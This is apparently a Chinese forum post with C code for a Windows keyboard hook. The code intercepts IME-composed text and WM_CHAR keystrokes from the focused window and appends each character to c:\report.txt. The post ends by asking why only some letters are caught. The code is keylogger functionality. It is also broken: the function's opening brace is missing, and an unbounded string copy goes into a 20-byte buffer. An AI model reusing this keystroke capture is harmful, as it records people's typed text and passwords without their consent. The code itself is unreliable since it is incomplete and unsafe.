LRESULT WINAPI keyboardproc(int nCode,WPARAM wParam,LPARAM lParam) 

  
 LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char ch;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);                    memset(lpstr, 0, 20);                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                    MessageBox(NULL, lpstr, lpstr, MB_OK); 
                    ImmReleaseContext(hWnd, hIMC);
                }
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
                FILE* f1;
                f1=fopen("c:\\report.txt","a+");
                char ch=(char)(pmsg->wParam);
                fwrite(&ch,1,1,f1);
                fclose(f1);    
            }
            break;
        }
    }    return(lResult);}为什么只能获取部分键盘字符?如‘g‘w’j‘k’i‘e’正常获取,而’s‘h’f‘l’等都得不到。